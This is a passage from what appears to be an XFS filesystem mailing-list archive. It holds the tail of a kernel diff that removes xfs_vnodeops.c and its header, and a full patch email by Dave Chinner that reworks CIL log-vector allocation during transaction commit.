XFS_TRANS_RELEASE_LOG_RES); - - abort_return: - cancel_flags |= XFS_TRANS_ABORT; - error_return: - xfs_trans_cancel(tp, cancel_flags); - std_return: - return error; -} - -int -xfs_set_dmattrs( - xfs_inode_t *ip, - u_int evmask, - u_int16_t state) -{ - xfs_mount_t *mp = ip->i_mount; - xfs_trans_t *tp; - int error; - - if (!capable(CAP_SYS_ADMIN)) - return XFS_ERROR(EPERM); - - if (XFS_FORCED_SHUTDOWN(mp)) - return XFS_ERROR(EIO); - - tp = xfs_trans_alloc(mp, XFS_TRANS_SET_DMATTRS); - error = xfs_trans_reserve(tp, 0, XFS_ICHANGE_LOG_RES (mp), 0, 0, 0); - if (error) { - xfs_trans_cancel(tp, 0); - return error; - } - xfs_ilock(ip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); - - ip->i_d.di_dmevmask = evmask; - ip->i_d.di_dmstate = state; - - xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); - error = xfs_trans_commit(tp, 0); - - return error; -} - -/* - * xfs_alloc_file_space() - * This routine allocates disk space for the given file. - * - * If alloc_type == 0, this request is for an ALLOCSP type - * request which will change the file size. In this case, no - * DMAPI event will be generated by the call. A TRUNCATE event - * will be generated later by xfs_setattr. - * - * If alloc_type != 0, this request is for a RESVSP type - * request, and a DMAPI DM_EVENT_WRITE will be generated if the - * lower block boundary byte address is less than the file's - * length. - * - * RETURNS: - * 0 on success - * errno on error - * - */ -STATIC int -xfs_alloc_file_space( - xfs_inode_t *ip, - xfs_off_t offset, - xfs_off_t len, - int alloc_type, - int attr_flags) -{ - xfs_mount_t *mp = ip->i_mount; - xfs_off_t count; - xfs_filblks_t allocated_fsb; - xfs_filblks_t allocatesize_fsb; - xfs_extlen_t extsz, temp; - xfs_fileoff_t startoffset_fsb; - xfs_fsblock_t firstfsb; - int nimaps; - int quota_flag; - int rt; - xfs_trans_t *tp; - xfs_bmbt_irec_t imaps[1], *imapp; - xfs_bmap_free_t free_list; - uint qblocks, resblks, resrtextents; - int committed; - int error; - - trace_xfs_alloc_file_space(ip); - - if (XFS_FORCED_SHUTDOWN(mp)) - return XFS_ERROR(EIO); - - error = xfs_qm_dqattach(ip, 0); - if (error) - return error; - - if (len <= 0) - return XFS_ERROR(EINVAL); - - rt = XFS_IS_REALTIME_INODE(ip); - extsz = xfs_get_extsz_hint(ip); - - count = len; - imapp = &imaps[0]; - nimaps = 1; - startoffset_fsb = XFS_B_TO_FSBT(mp, offset); - allocatesize_fsb = XFS_B_TO_FSB(mp, count); - - /* - * Allocate file space until done or until there is an error - */ - while (allocatesize_fsb && !error) { - xfs_fileoff_t s, e; - - /* - * Determine space reservations for data/realtime. - */ - if (unlikely(extsz)) { - s = startoffset_fsb; - do_div(s, extsz); - s *= extsz; - e = startoffset_fsb + allocatesize_fsb; - if ((temp = do_mod(startoffset_fsb, extsz))) - e += temp; - if ((temp = do_mod(e, extsz))) - e += extsz - temp; - } else { - s = 0; - e = allocatesize_fsb; - } - - /* - * The transaction reservation is limited to a 32-bit block - * count, hence we need to limit the number of blocks we are - * trying to reserve to avoid an overflow. We can't allocate - * more than @nimaps extents, and an extent is limited on disk - * to MAXEXTLEN (21 bits), so use that to enforce the limit. - */ - resblks = min_t(xfs_fileoff_t, (e - s), (MAXEXTLEN * nimaps)); - if (unlikely(rt)) { - resrtextents = qblocks = resblks; - resrtextents /= mp->m_sb.sb_rextsize; - resblks = XFS_DIOSTRAT_SPACE_RES(mp, 0); - quota_flag = XFS_QMOPT_RES_RTBLKS; - } else { - resrtextents = 0; - resblks = qblocks = XFS_DIOSTRAT_SPACE_RES(mp, resblks); - quota_flag = XFS_QMOPT_RES_REGBLKS; - } - - /* - * Allocate and setup the transaction. - */ - tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); - error = xfs_trans_reserve(tp, resblks, - XFS_WRITE_LOG_RES(mp), resrtextents, - XFS_TRANS_PERM_LOG_RES, - XFS_WRITE_LOG_COUNT); - /* - * Check for running out of space - */ - if (error) { - /* - * Free the transaction structure. - */ - ASSERT(error == ENOSPC || XFS_FORCED_SHUTDOWN(mp)); - xfs_trans_cancel(tp, 0); - break; - } - xfs_ilock(ip, XFS_ILOCK_EXCL); - error = xfs_trans_reserve_quota_nblks(tp, ip, qblocks, - 0, quota_flag); - if (error) - goto error1; - - xfs_trans_ijoin(tp, ip, 0); - - xfs_bmap_init(&free_list, &firstfsb); - error = xfs_bmapi_write(tp, ip, startoffset_fsb, - allocatesize_fsb, alloc_type, &firstfsb, - 0, imapp, &nimaps, &free_list); - if (error) { - goto error0; - } - - /* - * Complete the transaction - */ - error = xfs_bmap_finish(&tp, &free_list, &committed); - if (error) { - goto error0; - } - - error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); - xfs_iunlock(ip, XFS_ILOCK_EXCL); - if (error) { - break; - } - - allocated_fsb = imapp->br_blockcount; - - if (nimaps == 0) { - error = XFS_ERROR(ENOSPC); - break; - } - - startoffset_fsb += allocated_fsb; - allocatesize_fsb -= allocated_fsb; - } - - return error; - -error0: /* Cancel bmap, unlock inode, unreserve quota blocks, cancel trans */ - xfs_bmap_cancel(&free_list); - xfs_trans_unreserve_quota_nblks(tp, ip, (long)qblocks, 0, quota_flag); - -error1: /* Just cancel transaction */ - xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); - xfs_iunlock(ip, XFS_ILOCK_EXCL); - return error; -} - -/* - * Zero file bytes between startoff and endoff inclusive. - * The iolock is held exclusive and no blocks are buffered. - * - * This function is used by xfs_free_file_space() to zero - * partial blocks when the range to free is not block aligned. - * When unreserving space with boundaries that are not block - * aligned we round up the start and round down the end - * boundaries and then use this function to zero the parts of - * the blocks that got dropped during the rounding. - */ -STATIC int -xfs_zero_remaining_bytes( - xfs_inode_t *ip, - xfs_off_t startoff, - xfs_off_t endoff) -{ - xfs_bmbt_irec_t imap; - xfs_fileoff_t offset_fsb; - xfs_off_t lastoffset; - xfs_off_t offset; - xfs_buf_t *bp; - xfs_mount_t *mp = ip->i_mount; - int nimap; - int error = 0; - - /* - * Avoid doing I/O beyond eof - it's not necessary - * since nothing can read beyond eof. The space will - * be zeroed when the file is extended anyway. - */ - if (startoff >= XFS_ISIZE(ip)) - return 0; - - if (endoff > XFS_ISIZE(ip)) - endoff = XFS_ISIZE(ip); - - bp = xfs_buf_get_uncached(XFS_IS_REALTIME_INODE(ip) ? - mp->m_rtdev_targp : mp->m_ddev_targp, - BTOBB(mp->m_sb.sb_blocksize), 0); - if (!bp) - return XFS_ERROR(ENOMEM); - - xfs_buf_unlock(bp); - - for (offset = startoff; offset <= endoff; offset = lastoffset + 1) { - offset_fsb = XFS_B_TO_FSBT(mp, offset); - nimap = 1; - error = xfs_bmapi_read(ip, offset_fsb, 1, &imap, &nimap, 0); - if (error || nimap < 1) - break; - ASSERT(imap.br_blockcount >= 1); - ASSERT(imap.br_startoff == offset_fsb); - lastoffset = XFS_FSB_TO_B(mp, imap.br_startoff + 1) - 1; - if (lastoffset > endoff) - lastoffset = endoff; - if (imap.br_startblock == HOLESTARTBLOCK) - continue; - ASSERT(imap.br_startblock != DELAYSTARTBLOCK); - if (imap.br_state == XFS_EXT_UNWRITTEN) - continue; - XFS_BUF_UNDONE(bp); - XFS_BUF_UNWRITE(bp); - XFS_BUF_READ(bp); - XFS_BUF_SET_ADDR(bp, xfs_fsb_to_db(ip, imap.br_startblock)); - xfsbdstrat(mp, bp); - error = xfs_buf_iowait(bp); - if (error) { - xfs_buf_ioerror_alert(bp, - "xfs_zero_remaining_bytes(read)"); - break; - } - memset(bp->b_addr + - (offset - XFS_FSB_TO_B(mp, imap.br_startoff)), - 0, lastoffset - offset + 1); - XFS_BUF_UNDONE(bp); - XFS_BUF_UNREAD(bp); - XFS_BUF_WRITE(bp); - xfsbdstrat(mp, bp); - error = xfs_buf_iowait(bp); - if (error) { - xfs_buf_ioerror_alert(bp, - "xfs_zero_remaining_bytes(write)"); - break; - } - } - xfs_buf_free(bp); - return error; -} - -/* - * xfs_free_file_space() - * This routine frees disk space for the given file. - * - * This routine is only called by xfs_change_file_space - * for an UNRESVSP type call. - * - * RETURNS: - * 0 on success - * errno on error - * - */ -STATIC int -xfs_free_file_space( - xfs_inode_t *ip, - xfs_off_t offset, - xfs_off_t len, - int attr_flags) -{ - int committed; - int done; - xfs_fileoff_t endoffset_fsb; - int error; - xfs_fsblock_t firstfsb; - xfs_bmap_free_t free_list; - xfs_bmbt_irec_t imap; - xfs_off_t ioffset; - xfs_extlen_t mod=0; - xfs_mount_t *mp; - int nimap; - uint resblks; - xfs_off_t rounding; - int rt; - xfs_fileoff_t startoffset_fsb; - xfs_trans_t *tp; - int need_iolock = 1; - - mp = ip->i_mount; - - trace_xfs_free_file_space(ip); - - error = xfs_qm_dqattach(ip, 0); - if (error) - return error; - - error = 0; - if (len <= 0) /* if nothing being freed */ - return error; - rt = XFS_IS_REALTIME_INODE(ip); - startoffset_fsb = XFS_B_TO_FSB(mp, offset); - endoffset_fsb = XFS_B_TO_FSBT(mp, offset + len); - - if (attr_flags & XFS_ATTR_NOLOCK) - need_iolock = 0; - if (need_iolock) { - xfs_ilock(ip, XFS_IOLOCK_EXCL); - /* wait for the completion of any pending DIOs */ - inode_dio_wait(VFS_I(ip)); - } - - rounding = max_t(xfs_off_t, 1 << mp->m_sb.sb_blocklog, PAGE_CACHE_SIZE); - ioffset = offset & ~(rounding - 1); - error = -filemap_write_and_wait_range(VFS_I(ip)->i_mapping, - ioffset, -1); - if (error) - goto out_unlock_iolock; - truncate_pagecache_range(VFS_I(ip), ioffset, -1); - - /* - * Need to zero the stuff we're not freeing, on disk. - * If it's a realtime file & can't use unwritten extents then we - * actually need to zero the extent edges. Otherwise xfs_bunmapi - * will take care of it for us. - */ - if (rt && !xfs_sb_version_hasextflgbit(&mp->m_sb)) { - nimap = 1; - error = xfs_bmapi_read(ip, startoffset_fsb, 1, - &imap, &nimap, 0); - if (error) - goto out_unlock_iolock; - ASSERT(nimap == 0 || nimap == 1); - if (nimap && imap.br_startblock != HOLESTARTBLOCK) { - xfs_daddr_t block; - - ASSERT(imap.br_startblock != DELAYSTARTBLOCK); - block = imap.br_startblock; - mod = do_div(block, mp->m_sb.sb_rextsize); - if (mod) - startoffset_fsb += mp->m_sb.sb_rextsize - mod; - } - nimap = 1; - error = xfs_bmapi_read(ip, endoffset_fsb - 1, 1, - &imap, &nimap, 0); - if (error) - goto out_unlock_iolock; - ASSERT(nimap == 0 || nimap == 1); - if (nimap && imap.br_startblock != HOLESTARTBLOCK) { - ASSERT(imap.br_startblock != DELAYSTARTBLOCK); - mod++; - if (mod && (mod != mp->m_sb.sb_rextsize)) - endoffset_fsb -= mod; - } - } - if ((done = (endoffset_fsb <= startoffset_fsb))) - /* - * One contiguous piece to clear - */ - error = xfs_zero_remaining_bytes(ip, offset, offset + len - 1); - else { - /* - * Some full blocks, possibly two pieces to clear - */ - if (offset < XFS_FSB_TO_B(mp, startoffset_fsb)) - error = xfs_zero_remaining_bytes(ip, offset, - XFS_FSB_TO_B(mp, startoffset_fsb) - 1); - if (!error && - XFS_FSB_TO_B(mp, endoffset_fsb) < offset + len) - error = xfs_zero_remaining_bytes(ip, - XFS_FSB_TO_B(mp, endoffset_fsb), - offset + len - 1); - } - - /* - * free file space until done or until there is an error - */ - resblks = XFS_DIOSTRAT_SPACE_RES(mp, 0); - while (!error && !done) { - - /* - * allocate and setup the transaction. Allow this - * transaction to dip into the reserve blocks to ensure - * the freeing of the space succeeds at ENOSPC. - */ - tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); - tp->t_flags |= XFS_TRANS_RESERVE; - error = xfs_trans_reserve(tp, - resblks, - XFS_WRITE_LOG_RES(mp), - 0, - XFS_TRANS_PERM_LOG_RES, - XFS_WRITE_LOG_COUNT); - - /* - * check for running out of space - */ - if (error) { - /* - * Free the transaction structure. - */ - ASSERT(error == ENOSPC || XFS_FORCED_SHUTDOWN(mp)); - xfs_trans_cancel(tp, 0); - break; - } - xfs_ilock(ip, XFS_ILOCK_EXCL); - error = xfs_trans_reserve_quota(tp, mp, - ip->i_udquot, ip->i_gdquot, ip->i_pdquot, - resblks, 0, XFS_QMOPT_RES_REGBLKS); - if (error) - goto error1; - - xfs_trans_ijoin(tp, ip, 0); - - /* - * issue the bunmapi() call to free the blocks - */ - xfs_bmap_init(&free_list, &firstfsb); - error = xfs_bunmapi(tp, ip, startoffset_fsb, - endoffset_fsb - startoffset_fsb, - 0, 2, &firstfsb, &free_list, &done); - if (error) { - goto error0; - } - - /* - * complete the transaction - */ - error = xfs_bmap_finish(&tp, &free_list, &committed); - if (error) { - goto error0; - } - - error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); - xfs_iunlock(ip, XFS_ILOCK_EXCL); - } - - out_unlock_iolock: - if (need_iolock) - xfs_iunlock(ip, XFS_IOLOCK_EXCL); - return error; - - error0: - xfs_bmap_cancel(&free_list); - error1: - xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); - xfs_iunlock(ip, need_iolock ? (XFS_ILOCK_EXCL | XFS_IOLOCK_EXCL) : - XFS_ILOCK_EXCL); - return error; -} - - -STATIC int -xfs_zero_file_space( - struct xfs_inode *ip, - xfs_off_t offset, - xfs_off_t len, - int attr_flags) -{ - struct xfs_mount *mp = ip->i_mount; - uint granularity; - xfs_off_t start_boundary; - xfs_off_t end_boundary; - int error; - - granularity = max_t(uint, 1 << mp->m_sb.sb_blocklog, PAGE_CACHE_SIZE); - - /* - * Round the range of extents we are going to convert inwards. If the - * offset is aligned, then it doesn't get changed so we zero from the - * start of the block offset points to. - */ - start_boundary = round_up(offset, granularity); - end_boundary = round_down(offset + len, granularity); - - ASSERT(start_boundary >= offset); - ASSERT(end_boundary <= offset + len); - - if (!(attr_flags & XFS_ATTR_NOLOCK)) - xfs_ilock(ip, XFS_IOLOCK_EXCL); - - if (start_boundary < end_boundary - 1) { - /* punch out the page cache over the conversion range */ - truncate_pagecache_range(VFS_I(ip), start_boundary, - end_boundary - 1); - /* convert the blocks */ - error = xfs_alloc_file_space(ip, start_boundary, - end_boundary - start_boundary - 1, - XFS_BMAPI_PREALLOC | XFS_BMAPI_CONVERT, - attr_flags); - if (error) - goto out_unlock; - - /* We've handled the interior of the range, now for the edges */ - if (start_boundary != offset) - error = xfs_iozero(ip, offset, start_boundary - offset); - if (error) - goto out_unlock; - - if (end_boundary != offset + len) - error = xfs_iozero(ip, end_boundary, - offset + len - end_boundary); - - } else { - /* - * It's either a sub-granularity range or the range spanned lies - * partially across two adjacent blocks. - */ - error = xfs_iozero(ip, offset, len); - } - -out_unlock: - if (!(attr_flags & XFS_ATTR_NOLOCK)) - xfs_iunlock(ip, XFS_IOLOCK_EXCL); - return error; - -} - -/* - * xfs_change_file_space() - * This routine allocates or frees disk space for the given file. - * The user specified parameters are checked for alignment and size - * limitations. - * - * RETURNS: - * 0 on success - * errno on error - * - */ -int -xfs_change_file_space( - xfs_inode_t *ip, - int cmd, - xfs_flock64_t *bf, - xfs_off_t offset, - int attr_flags) -{ - xfs_mount_t *mp = ip->i_mount; - int clrprealloc; - int error; - xfs_fsize_t fsize; - int setprealloc; - xfs_off_t startoffset; - xfs_trans_t *tp; - struct iattr iattr; - - if (!S_ISREG(ip->i_d.di_mode)) - return XFS_ERROR(EINVAL); - - switch (bf->l_whence) { - case 0: /*SEEK_SET*/ - break; - case 1: /*SEEK_CUR*/ - bf->l_start += offset; - break; - case 2: /*SEEK_END*/ - bf->l_start += XFS_ISIZE(ip); - break; - default: - return XFS_ERROR(EINVAL); - } - - /* - * length of <= 0 for resv/unresv/zero is invalid. length for - * alloc/free is ignored completely and we have no idea what userspace - * might have set it to, so set it to zero to allow range - * checks to pass. - */ - switch (cmd) { - case XFS_IOC_ZERO_RANGE: - case XFS_IOC_RESVSP: - case XFS_IOC_RESVSP64: - case XFS_IOC_UNRESVSP: - case XFS_IOC_UNRESVSP64: - if (bf->l_len <= 0) - return XFS_ERROR(EINVAL); - break; - default: - bf->l_len = 0; - break; - } - - if (bf->l_start < 0 || - bf->l_start > mp->m_super->s_maxbytes || - bf->l_start + bf->l_len < 0 || - bf->l_start + bf->l_len >= mp->m_super->s_maxbytes) - return XFS_ERROR(EINVAL); - - bf->l_whence = 0; - - startoffset = bf->l_start; - fsize = XFS_ISIZE(ip); - - setprealloc = clrprealloc = 0; - switch (cmd) { - case XFS_IOC_ZERO_RANGE: - error = xfs_zero_file_space(ip, startoffset, bf->l_len, - attr_flags); - if (error) - return error; - setprealloc = 1; - break; - - case XFS_IOC_RESVSP: - case XFS_IOC_RESVSP64: - error = xfs_alloc_file_space(ip, startoffset, bf->l_len, - XFS_BMAPI_PREALLOC, attr_flags); - if (error) - return error; - setprealloc = 1; - break; - - case XFS_IOC_UNRESVSP: - case XFS_IOC_UNRESVSP64: - if ((error = xfs_free_file_space(ip, startoffset, bf->l_len, - attr_flags))) - return error; - break; - - case XFS_IOC_ALLOCSP: - case XFS_IOC_ALLOCSP64: - case XFS_IOC_FREESP: - case XFS_IOC_FREESP64: - /* - * These operations actually do IO when extending the file, but - * the allocation is done seperately to the zeroing that is - * done. This set of operations need to be serialised against - * other IO operations, such as truncate and buffered IO. We - * need to take the IOLOCK here to serialise the allocation and - * zeroing IO to prevent other IOLOCK holders (e.g. getbmap, - * truncate, direct IO) from racing against the transient - * allocated but not written state we can have here. - */ - xfs_ilock(ip, XFS_IOLOCK_EXCL); - if (startoffset > fsize) { - error = xfs_alloc_file_space(ip, fsize, - startoffset - fsize, 0, - attr_flags | XFS_ATTR_NOLOCK); - if (error) { - xfs_iunlock(ip, XFS_IOLOCK_EXCL); - break; - } - } - - iattr.ia_valid = ATTR_SIZE; - iattr.ia_size = startoffset; - - error = xfs_setattr_size(ip, &iattr, - attr_flags | XFS_ATTR_NOLOCK); - xfs_iunlock(ip, XFS_IOLOCK_EXCL); - - if (error) - return error; - - clrprealloc = 1; - break; - - default: - ASSERT(0); - return XFS_ERROR(EINVAL); - } - - /* - * update the inode timestamp, mode, and prealloc flag bits - */ - tp = xfs_trans_alloc(mp, XFS_TRANS_WRITEID); - - if ((error = xfs_trans_reserve(tp, 0, XFS_WRITEID_LOG_RES(mp), - 0, 0, 0))) { - /* ASSERT(0); */ - xfs_trans_cancel(tp, 0); - return error; - } - - xfs_ilock(ip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, ip, XFS_ILOCK_EXCL); - - if ((attr_flags & XFS_ATTR_DMI) == 0) { - ip->i_d.di_mode &= ~S_ISUID; - - /* - * Note that we don't have to worry about mandatory - * file locking being disabled here because we only - * clear the S_ISGID bit if the Group execute bit is - * on, but if it was on then mandatory locking wouldn't - * have been enabled. - */ - if (ip->i_d.di_mode & S_IXGRP) - ip->i_d.di_mode &= ~S_ISGID; - - xfs_trans_ichgtime(tp, ip, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); - } - if (setprealloc) - ip->i_d.di_flags |= XFS_DIFLAG_PREALLOC; - else if (clrprealloc) - ip->i_d.di_flags &= ~XFS_DIFLAG_PREALLOC; - - xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); - if (attr_flags & XFS_ATTR_SYNC) - xfs_trans_set_sync(tp); - return xfs_trans_commit(tp, 0); -} diff --git a/fs/xfs/xfs_vnodeops.h b/fs/xfs/xfs_vnodeops.h deleted file mode 100644 index 38c67c3..0000000 --- a/fs/xfs/xfs_vnodeops.h +++ /dev/null @@ -1,55 +0,0 @@ -#ifndef _XFS_VNODEOPS_H -#define _XFS_VNODEOPS_H 1 - -struct attrlist_cursor_kern; -struct file; -struct iattr; -struct inode; -struct iovec; -struct kiocb; -struct pipe_inode_info; -struct uio; -struct xfs_inode; - - -int xfs_setattr_nonsize(struct xfs_inode *ip, struct iattr *vap, int flags); -int xfs_setattr_size(struct xfs_inode *ip, struct iattr *vap, int flags); -#define XFS_ATTR_DMI 0x01 /* invocation from a DMI function */ -#define XFS_ATTR_NONBLOCK 0x02 /* return EAGAIN if operation would block */ -#define XFS_ATTR_NOLOCK 0x04 /* Don't grab any conflicting locks */ -#define XFS_ATTR_NOACL 0x08 /* Don't call xfs_acl_chmod */ -#define XFS_ATTR_SYNC 0x10 /* synchronous operation required */ - -int xfs_readlink(struct xfs_inode *ip, char *link); -int xfs_release(struct xfs_inode *ip); -int xfs_inactive(struct xfs_inode *ip); -int xfs_lookup(struct xfs_inode *dp, struct xfs_name *name, - struct xfs_inode **ipp, struct xfs_name *ci_name); -int xfs_create(struct xfs_inode *dp, struct xfs_name *name, umode_t mode, - xfs_dev_t rdev, struct xfs_inode **ipp); -int xfs_remove(struct xfs_inode *dp, struct xfs_name *name, - struct xfs_inode *ip); -int xfs_link(struct xfs_inode *tdp, struct xfs_inode *sip, - struct xfs_name *target_name); -int xfs_readdir(struct xfs_inode *dp, struct dir_context *ctx, size_t bufsize); -int xfs_symlink(struct xfs_inode *dp, struct xfs_name *link_name, - const char *target_path, umode_t mode, struct xfs_inode **ipp); -int xfs_set_dmattrs(struct xfs_inode *ip, u_int evmask, u_int16_t state); -int xfs_change_file_space(struct xfs_inode *ip, int cmd, - xfs_flock64_t *bf, xfs_off_t offset, int attr_flags); -int xfs_rename(struct xfs_inode *src_dp, struct xfs_name *src_name, - struct xfs_inode *src_ip, struct xfs_inode *target_dp, - struct xfs_name *target_name, struct xfs_inode *target_ip); -int xfs_attr_get(struct xfs_inode *ip, const unsigned char *name, - unsigned char *value, int *valuelenp, int flags); -int xfs_attr_set(struct xfs_inode *dp, const unsigned char *name, - unsigned char *value, int valuelen, int flags); -int xfs_attr_remove(struct xfs_inode *dp, const unsigned char *name, int flags); -int xfs_attr_list(struct xfs_inode *dp, char *buffer, int bufsize, - int flags, struct attrlist_cursor_kern *cursor); - -int xfs_iozero(struct xfs_inode *, loff_t, size_t); -int xfs_zero_eof(struct xfs_inode *, xfs_off_t, xfs_fsize_t); -int xfs_free_eofblocks(struct xfs_mount *, struct xfs_inode *, bool); - -#endif /* _XFS_VNODEOPS_H */ diff --git a/fs/xfs/xfs_xattr.c b/fs/xfs/xfs_xattr.c index b7311aa..e01f35e 100644 --- a/fs/xfs/xfs_xattr.c +++ b/fs/xfs/xfs_xattr.c @@ -24,7 +24,6 @@ #include "xfs_attr.h" #include "xfs_attr_leaf.h" #include "xfs_acl.h" -#include "xfs_vnodeops.h" #include #include -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6480C7FB8 for ; Fri, 19 Jul 2013 01:25:56 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2F30E304043 for ; Thu, 18 Jul 2013 23:25:56 -0700 (PDT) X-ASG-Debug-ID: 1374215134-04bdf0245d189c5000b-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 1HQPbEOtrAdVctaG for ; Thu, 18 Jul 2013 23:25:54 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGBgZOQMbGYgPti+OcoEug3IDqSqDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:45 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048W-Gy for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-00020Y-Ee for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 45/49] xfs: avoid CIL allocation during insert Date: Fri, 19 Jul 2013 16:25:16 +1000 X-ASG-Orig-Subj: [PATCH 45/49] xfs: avoid CIL allocation during insert Message-Id: <1374215120-7271-46-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215154 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Now that we have the size of the log vector that has been allocated, we can determine if we need to allocate a new log vector for formatting and insertion. We only need to allocate a new vector if it won't fit into the existing buffer. However, we need to hold the CIL context lock while we do this so that we can't race with a push draining the currently queued log vectors. It is safe to do this as long as we do GFP_NOFS allocation to avoid avoid memory allocation recursing into the filesystem. Hence we can safely overwrite the existing log vector on the CIL if it is large enough to hold all the dirty regions of the current item. Signed-off-by: Dave Chinner --- fs/xfs/xfs_log_cil.c | 51 +++++++++++++++++++++++++++++++++------------------ fs/xfs/xfs_trans.h | 1 - 2 files changed, 33 insertions(+), 19 deletions(-) diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c index 08943c8..76ae7d8 100644 --- a/fs/xfs/xfs_log_cil.c +++ b/fs/xfs/xfs_log_cil.c @@ -184,6 +184,23 @@ xlog_cil_prepare_log_vecs( buf_size = sizeof(struct xfs_log_vec) + nbytes + niovecs * sizeof(struct xfs_log_iovec); + /* compare to existing item size */ + if (lip->li_lv && buf_size <= lip->li_lv->lv_size) { + /* same or smaller, optimise common overwrite case */ + lv = lip->li_lv; + lv->lv_next = NULL; + + if (ordered) + goto insert; + + /* Ensure the lv is set up according to ->iop_size */ + lv->lv_niovecs = niovecs; + lv->lv_buf = (char *)lv + buf_size - nbytes; + lv->lv_buf_len = nbytes; + xlog_cil_lv_item_format(lip, lv); + goto insert; + } + /* allocate new data chunk */ lv = kmem_zalloc(buf_size, KM_SLEEP|KM_NOFS); lv->lv_item = lip; @@ -229,7 +246,17 @@ xfs_cil_prepare_item( { struct xfs_log_vec *old = lv->lv_item->li_lv; - if (old) { + if (!old) { + /* new lv, must pin the log item */ + ASSERT(!lv->lv_item->li_lv); + + if (lv->lv_buf_len != XFS_LOG_VEC_ORDERED) { + *len += lv->lv_buf_len; + *diff_iovecs += lv->lv_niovecs; + } + lv->lv_item->li_ops->iop_pin(lv->lv_item); + + } else if (old != lv) { /* existing lv on log item, space used is a delta */ ASSERT((old->lv_buf && old->lv_buf_len && old->lv_niovecs) || old->lv_buf_len == XFS_LOG_VEC_ORDERED); @@ -248,15 +275,8 @@ xfs_cil_prepare_item( *diff_iovecs += lv->lv_niovecs - old->lv_niovecs; kmem_free(old); } else { - /* new lv, must pin the log item */ - ASSERT(!lv->lv_item->li_lv); - - if (lv->lv_buf_len != XFS_LOG_VEC_ORDERED) { - *len += lv->lv_buf_len; - *diff_iovecs += lv->lv_niovecs; - } - IOP_PIN(lv->lv_item); - + /* re-used lv */ + /* XXX: can't account for len/diff_iovecs yet */ } /* attach new log vector to log item */ @@ -732,18 +752,13 @@ xfs_log_commit_cil( if (flags & XFS_TRANS_RELEASE_LOG_RES) log_flags = XFS_LOG_REL_PERM_RESERV; - /* - * Do all the hard work of formatting items (including memory - * allocation) outside the CIL context lock. This prevents stalling CIL - * pushes when we are low on memory and a transaction commit spends a - * lot of time in memory reclaim. - */ + /* lock out background commit */ + down_read(&log->l_cilp->xc_ctx_lock); + log_vector = xlog_cil_prepare_log_vecs(tp); if (!log_vector) return ENOMEM; - /* lock out background commit */ - down_read(&log->l_cilp->xc_ctx_lock); if (commit_lsn) *commit_lsn = log->l_cilp->xc_ctx->sequence; diff --git a/fs/xfs/xfs_trans.h b/fs/xfs/xfs_trans.h index 24bbdcd..4786170 100644 --- a/fs/xfs/xfs_trans.h +++ b/fs/xfs/xfs_trans.h @@ -77,7 +77,6 @@ struct xfs_item_ops { void (*iop_committing)(xfs_log_item_t *, xfs_lsn_t); }; -#define IOP_PIN(ip) (*(ip)->li_ops->iop_pin)(ip) #define IOP_UNPIN(ip, remove) (*(ip)->li_ops->iop_unpin)(ip, remove) #define IOP_PUSH(ip, list) (*(ip)->li_ops->iop_push)(ip, list) #define IOP_UNLOCK(ip) (*(ip)->li_ops->iop_unlock)(ip) -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: 